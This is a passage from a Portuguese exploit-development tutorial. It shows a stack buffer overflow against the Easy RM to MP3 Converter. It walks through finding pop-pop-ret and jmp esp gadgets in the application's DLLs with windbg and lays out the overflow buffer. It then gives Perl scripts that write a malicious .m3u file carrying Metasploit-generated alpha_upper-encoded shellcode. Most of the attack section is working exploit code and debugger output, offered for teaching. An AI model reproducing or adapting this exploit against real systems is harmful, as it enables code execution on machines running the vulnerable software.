7c901216 8b442404        mov     eax,dword ptr [esp+4]
7c90121a cc              int     3

Então o opcode de pop pop ret é 0×58,0x5d,0xc3

Obviamente, que você pode optar por outros registradores também. Há alguns outros opcodes de pop disponíveis:

pop register
opcode
pop eax
58
pop ebx
5b
pop ecx
59
pop edx
5a
pop esi
5e
pop ebp
5d

Agora precisamos encontrar esta sequência em uma das dlls disponíveis. No primeiro tutorial falamos sobre dll’s de aplicação versus dll’s de SO. Penso ser recomendado utilizar dll’s de aplicação por aumentarem a chance de construir exploits mais confiáveis em diferentes plataformas e versões do Windows... Mas é necessário ter certeza de que as dll’s utilizam alguns endereços básicos todas as vezes.

As vezes, as dll’s são realocadas, e nesse cenário poderia ser melhor utilizar um DLL de SO (user32.dll ou kernel32.dll, por exemplo).

Abra o Easy RM to MP3 (não abra nenhum arquivo ou qualquer outra coisa) e então anexe o windbg ao processo executado.

Windbg mostrará os módulos carregados, tanto da aplicação quanto os de SO. (olhe para a parte superior da saída do windbg, e encontre a linha que inicia com ModLoad). Haverão algumas dll’s de aplicação:

ModLoad: 00ce0000 00d7f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01a90000 01b01000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll

Você pode exibir a imagem base de uma dll rodando o dumpbin.exe (do Visual Studio) com o parâmetro /headers contra a dll. Isso permitirá definir o endereço menor e maior para buscas.

Deve-se evitar a utilização de endereços que contenham null bytes (porque isso pode tornar o exploit ainda mais difícil).

Uma busca no MSRMCcodec00.dll nos dá alguns resultados:

0:014> s 01a90000 l 01b01000 58 5d c3
01ab6a10  58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc  X].3.].U..QQ.E..
01ab8da3  58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c  X]..M..e..Qj..5l
01ab9d69  58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00  X].j...j........

Ok, podemos pular para ESP+8 agora. Neste local precisamos colocar o endereço para jmp esp (pois, como explicado antes, a instrução ret pegará o endereço daquele local e o colocará no EIP. Neste ponto, o endereço ESP apontará para nosso shellcode que está localizado após o endereço de jmp esp... então o que realmente queremos nesse ponto  é um jmp esp).

No primeiro tutorial, aprendemos que 0x01ccf23a refere-se a jmp esp. Então vamos voltar ao nosso script Perl e substituir o “BBBB” (usado para sobrescrever o EIP) por um dos 3 endereços pop, pop, ret, seguido por 8 bytes (NOP) (para simular que nosso shellcode está 8 bytes além do topo da stack), então o endereço de jmp esp, e então o shellcode.

O buffer parecerá assim:

[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
   26094 A's         EIP           8 bytes offset          JMP ESP
                  (=POPPOPRET)

O fluxo completo do exploit se parecerá com isso:

1 – EIP é sobrescrito com POP POP RET (novamente, este exemplo não tem nada com exploits baseados em SEH. Queremos apenas pegar um valor que está na stack e jogar na EIP). ESP aponta para o início dos 8 bytes offset do shellcode.
2 – POP POP RET é executado. EIP está sobrescrito com 0x01ccf23a (pois esse é o endereço encontrado em ESP+0x8). ESP agora aponta para o shellcode.
3 – Já que EIP está sobrescrito com o endereço de jmp esp, o segundo jump é executado e o shellcode lançado.

                        ----------------------------------
                       |                                 |(1)
                       |                                 |
                       |       ESP aponta aqui (1)       |
                       |       |                         V
[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
   26094 A's         EIP           8 bytes offset          JMP ESP   ^
                  (=POPPOPRET)                                |      | (2)
                                                              |------|
                                                                     ESP agora aponta aqui (2)

Simularemos isso com um break e alguns NOP’s como shellcode, assim podemos ver se nosso jump funciona.

my $file= "test1.m3u";
my $junk= "A" x 26094;
 
my $eip = pack('V',0x01ab6a10); #pop pop ret de MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp
 
my $prependesp = "XXXX";  #adiciona 4 bytes e ESP aponta para o início do shellcode
my $shellcode = "\x90" x 8;  #adicionais mais bytes
$shellcode = $shellcode . $jmpesp;  #endereço para retorno via pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\xcc" . "\x90" x 500;  #shellcode real
 
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";


(d08.384): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe
eip=000ff73c esp=000ff73c ebp=90909090 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff72b:
000ff73c cc              int     3
0:000> d esp
000ff73c  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff74c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff75c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff76c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff77c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff78c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff79c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7ac  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Funciona! Agora vamos substituir os NOP’s após o jmp esp (ESP+8) pelo shellcode real (alguns nops para nos certificarmos + shellcode, codificados com alpha_upper):

my $file= "test1.m3u";
my $junk= "A" x 26094;
 
my $eip = pack('V',0x01ab6a10); #pop pop ret de MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp
 
my $prependesp = "XXXX";  # adiciona 4 bytes e ESP aponta para o início do shellcode
my $shellcode = "\x90" x 8;  # adicionais mais bytes
$shellcode = $shellcode . $jmpesp;  # endereço para retorno via pop pop ret ( = jmp esp)
 
$shellcode = $shellcode . "\x90" x 50;  #shellcode real
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
 
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";